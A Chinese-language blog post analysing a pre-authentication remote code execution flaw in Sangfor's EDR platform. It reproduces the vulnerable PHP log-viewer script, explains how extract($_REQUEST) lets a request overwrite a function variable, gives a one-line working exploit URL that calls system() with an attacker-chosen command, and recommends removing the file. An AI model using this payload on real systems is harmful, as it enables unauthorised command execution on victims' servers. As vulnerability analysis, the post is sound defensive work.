深信服终端检测响应平台 preauth RCE 0day 分析
0x00关于本文这个护网太刺激了,才一天就爆出那么多0day出来。而深信服这个玩意的0day非常重磅,甚至据说因为这个0day太猛,还要暂停演习,免得太不公平但是在机缘巧合之下,笔者拿到了相关漏洞的代码,不禁哑然失笑,没想到这个漏洞居然这么低级,一个大厂开发的东西理应不该如此低级才对,但是事实就是这样,笔者也很惊讶
在这篇文章中,笔者会给出相关的漏洞代码,漏洞分析,EXP,修复措施
0x01 漏洞代码漏洞出现在 tool/log/c.php里面代码如下<?php/** * c.php * 查看ldb的日志 * 支持正则表达式过滤,可以过滤文件以及每行日志 */ call_user_func(function() { /** * 编解码 * @param string $data 编解码数据 * @return string 返回编解码数据 */ $code = function($data) { for ($i = 0; $i < strlen($data); ++$i) { $data[$i] = $data[$i] ^ 'G'; } return $data; }; /** * 加密请求 * @param string $site 站点 * @param string $query 请求串 * @return string 返回请求URL */ $request = function($site, $query) use(&$code) { $path = base64_encode($code($query)); return "$site/$path"; }; /** * 解密回复 * @param string $data 回复数据 * @return array 返回回复数据 */ $response = function($data) use(&$code) { $ret = json_decode($data, true); if (is_null($ret)) { $dec = $code(base64_decode($data)); $ret = json_decode($dec, true); } return $ret; }; /** * 找到匹配的日志 * @param string $path 文件路径匹配 * @param string $item 日志项匹配 * @param string $topn TOP N * @param string $host 主机 * @return array 返回匹配结果 */ $collect = function($path, $item, $topn, $host) use(&$request, &$response) { $path = urlencode($path); $item = urlencode($item); $result = file_get_contents($request("http://127.0.0.1:8089", "op=ll&host=$host&path=$path&item=$item&top=$topn")); return $response($result); }; /** * 显示某个表单域 * @param array $info 表单域信息, array("name" => "xx", "value" => "xxx", "note" => "help"); * @return */ $show_input = function($info) { extract($info); $value = htmlentities($value); echo "<p><font size=2>$title: </font><input type=\"text\" size=30 id=\"$name\" name=\"$name\" value=\"$value\"><font size=2>$note</font></p>"; }; /** * 去掉反斜杠 * @param string $var 值 * @return string 返回去掉反斜杠的值 */ $strip_slashes = function($var) { if (!get_magic_quotes_gpc()) { return $var; } return stripslashes($var); };
/** * 显示表单 * @param array $params 请求参数 * @return */ $show_form = function($params) use(&$strip_slashes, &$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; }; /** * 入口函数 * @param array $argv 配置参数 * @return */ $main = function($argv) use(&$collect) { extract($argv); if (!isset($limit)) { return; } $result = $collect($path, $row, $limit, $host); if (!is_array($result)) { echo $result, "\n"; return; } if (!isset($result["success"]) || $result["success"] !== true) { echo $result, "\n"; return; } foreach ($result["data"] as $host => $items) { $last = ""; foreach ($items as $item) { if ($item["name"] != $last) { $last = $item["name"]; echo "\n[$host] -> $last\n\n"; } echo $item["item"], "\n"; } } }; set_time_limit(0); echo '<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>'; echo '<body bgcolor="#e8ddcb">'; echo "<p><b>Log Helper</b></p>"; $show_form($_REQUEST); echo "<pre>"; $main($_REQUEST); echo "</pre>"; });?>
0x02 漏洞分析首先代码开头的call_user_func里面套一个function就很迷,搞这个在笔者眼里完全是多余的因为其实就相当于执行function()里面的内容而已
接着我们在77-82行看到了他们定义的strip_slashes笔者实在无法理解这些人为什么不直接用 function name($xxx){}的形式定义函数,而一定要弄个时髦的匿名函数,然后复制给一个变量,但是既然这么做了,我们就接着看下去
接着呢在89-94行里面,调用了这个函数看起来就是调用对吧,很完美对吧,没什么问题对吧....只要不被变量覆盖就好可惜的是,偏偏就是有变量覆盖
刚才代码那里,90行直接extrat($params),那么问题来了,$params从哪儿来的呢?往下翻翻就能找到答案啊这,直接从$_REQUEST里面来,这说明用户提交的参数被直接extract可以覆盖任意变量了..包括$strip_slashes
那么该怎么利用呢?我们知道PHP是支持通过字符串来调用函数的举个例子这个会直接调用phpinfo函数因此按照上面的代码,只需要把strip_slashes覆盖成我们想要执行的函数就可以了,而参数$host也可以覆盖,那么就相当于是可以调用任意函数,传入任意参数了!
0x03 POC/EXPhttps://web/tool/log/c.php?strip_slashes=system&host=id是的只需要这么一行就可以利用防守方请注意,这是extract的$_REQUEST,因此无论是GET/POST/COOKIE的参数都可以用来覆盖,因此把这句话添加到WAF里面过滤是不可行的,攻击者可以轻易绕过!
0x04 修复方法不要妄图设置WAF规则来修复!直接删掉这里的c.php!鉴于他们代码质量不佳,漏洞也一定不止这一处,建议直接下线,不然依然有被打穿的风险
0x05 最后说两句现在HW太疯狂了,以前据说是Nday一起上,万箭齐发就可以了,现在是到处丢0day以前是重金雇佣带黑客,现在是重金购买高危0day这种贴近实战的攻防演习一下来,谁的东西能真正抗攻击抗0day,谁的是看起来很不错但实际上很粗糙,一下就能被看出来了。尽管0day爆出来很刺激,蓝方的朋友们又得加班加点熬夜防护了,但这至少比让0day在黑市上面被转手114514次最后被犯罪分子利用来的好